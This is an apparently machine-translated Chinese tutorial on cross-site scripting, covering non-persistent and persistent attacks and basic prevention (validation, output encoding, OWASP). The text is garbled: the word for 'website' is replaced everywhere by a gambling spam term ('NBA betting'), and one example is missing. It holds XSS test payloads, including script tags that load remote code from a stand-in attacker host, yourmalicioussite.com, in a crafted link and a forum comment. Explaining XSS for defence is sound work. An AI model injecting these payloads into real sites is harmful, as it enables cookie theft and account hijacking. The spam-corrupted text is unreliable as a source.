dcsimg

了解(并停止)跨站点脚本漏洞

XSS漏洞通常以用户为目标,但为恶意用户提供了一种转弯并破解站点的方式。这是它们的工作方式以及如何阻止它们。

Web应用程序中的跨站点脚本(XSS)漏洞是黑客发现和利用的最常见漏洞之一,并且它们在许多知名nba赌钱中都得到了利用,这些nba赌钱包括FBI,Time,CNN,eBay,Yahoo,Apple和微软。

什么是XSS漏洞?

XSS漏洞是代码注入漏洞的子集。奇怪的是,尽管XSS漏洞位于Web应用程序中,但“被黑”的受害者通常是该站点的访问者。这是因为该漏洞使攻击者可以使用Web应用程序将恶意脚本发送给毫无戒心的nba赌钱访问者,然后该脚本在受害者的浏览器中执行。有问题的脚本通常是用JavaScript编写的,但也可以用其他脚本语言(例如VBScript)编写。由于脚本来自受害人正在访问的nba赌钱,因此可以使用受害人nba赌钱的访问权限在受害人的浏览器中执行脚本,这意味着除其他外,它可以访问站点的cookie信息。

XSS攻击可能非常有害,因为它们使黑客能够:

  • 窃取受害者的cookie,然后可以使用该cookie模仿受害者劫持在线帐户。这可能会导致从访问电子邮件帐户到从在线银行帐户中窃取资金等一切事情。
  • 将受害者从真正的nba赌钱重定向到伪造的版本,然后拦截受害者的用户名和密码
  • 到达受害者的机器并窃取文件
  • 将木马和其他恶意软件下载给受害者,最终破坏了他们的系统。
  • 污损或更改受感染nba赌钱的明显内容

XSS攻击如何工作?

在最基本的级别上,攻击者将其代码暗示到网页的内容中,然后当受害者查看该网页时,受害者的浏览器将其解析。这并不像乍看起来那样困难,因为可以通过多种方法来实现。例如,许多nba赌钱使用:

  • 搜索引擎,可显示用户在结果页上输入的搜索字词,例如“您搜索了:网络安全性”
  • 显示错误参数的错误消息
  • 个性化的问候“您以Mike Bukowski的身份登录”

所有这些都涉及将用户提交的数据合并到动态创建的页面中。当然,许多站点都有评论部分或讨论论坛,明确邀请访问者贡献自己的内容。

XSS攻击的诀窍在于,除了合法数据(例如搜索字词或评论)之外,黑客还潜入了自己的脚本。将其发送到nba赌钱时,这不是问题;当将代码合并到网页的内容中并返回到执行脚本的浏览器时,就会发生此问题。

更具体一点,有两种常见的XSS攻击类型-持久性攻击和非持久性攻击。

非持久性攻击

在非持久攻击中,黑客会制作一个带有XSS漏洞的网页链接,该漏洞包括URL和一些恶意脚本作为参数。单击此链接后,脚本将发送到易受攻击的站点,并从nba赌钱反映回用户,在该用户的浏览器上运行脚本。这就引出了一个问题,即黑客为什么会对自己发动攻击。答案是他不会。要使用非持久攻击,制作恶意链接的黑客可能会尽可能广泛地通过电子邮件,即时消息或发布链接,并附带某种形式的社交工程技术,以说服毫无戒心的收件人单击该链接,从而有效地启动该链接。攻击自己。

发现漏洞站点的一种非常基本的方法是在站点的搜索引擎上输入一个简单的脚本作为搜索词。例如,您可以搜索:

<script type="text/javascript">// <![CDATA[
 alert("This site has an XSS vulnerability")
// ]]></script>

这会在易受攻击的nba赌钱上弹出警报。

通过输入类似以下的搜索词,您还可以使用相同的漏洞从远程站点运行JavaScript:

然后可以按照以下方式建立恶意链接:

http://vulnerablesite.com/cgi-bin/foo?
<script src="http://yourmalicioussite.com/xss.js"></script>

黑客可能会对链接的脚本部分进行十六进制编码,以使其看起来不太可疑。

持续攻击

XSS攻击的另一种更为危险的形式是持续攻击,它涉及无限期地在nba赌钱上发布恶意代码,用恶意脚本攻击查看该页面的任何人。一个明显的可以张贴脚本的地方是在nba赌钱的评论部分或论坛中,该地方允许张贴包含标记标签的文稿。

例如,想象一个nba赌钱,您可以在其中发布评论,例如:

“这是一篇很棒的文章”,显示为“这是一篇 nba赌钱上的“文章”。

要查看该站点是否容易受到XSS攻击,最基本的尝试是发布一条消息,例如:

<script type="text/javascript">// <![CDATA[
 alert("This site has an XSS vulnerability")
// ]]></script>

要么

"This is a  大  article
<script src="http://yourmalicioussite.com/xss.js"></script>

其中xss.js包含相同的警报脚本。

如果该站点易受攻击,则每次使用启用了JavaScript的浏览器的访问者访问该页面时,该脚本都会在其浏览器中执行,并且会弹出警告,并显示文本“此站点具有XSS漏洞”。当有问题的JavaScript进行更恶意的操作(例如,操纵document.cookie属性窃取受害者的cookie内容,或使用document.write函数更改网页的明显内容)时,就会出现真正的问题。

防止XSS漏洞

/.XSS漏洞非常普遍,确保您的nba赌钱没有漏洞非常困难-尤其是因为每次您修改nba赌钱时都可以重新引入它们。您应采取的一般步骤包括:

  1. 数据验证。基本上,规则应该是不信任任何用户输入,并确保所提交的任何数据都属于您期望的类型。
  2. 通过过滤可能由黑客输入的“危险”字符并转义(输出编码)它们以将它们发送到访问者的浏览器时变得无害,从而对所有数据进行消毒。本质上,转义涉及对危险字符进行编码,以便目标浏览器知道将其呈现为数据,而不是将其作为脚本命令的一部分进行操作。
  3. 使用自动化的Web应用程序漏洞检查器,以全面了解您知道的所有攻击类型来检查您的站点。

这些措施远​​非全面,可以在开放Web应用程序安全性项目(OWASP)nba赌钱上找到更详细的信息,该nba赌钱承载以下内容: 跨站点脚本防护备忘单.

本文最初于2010年11月1日发布
通过网络更新新闻获取最新消息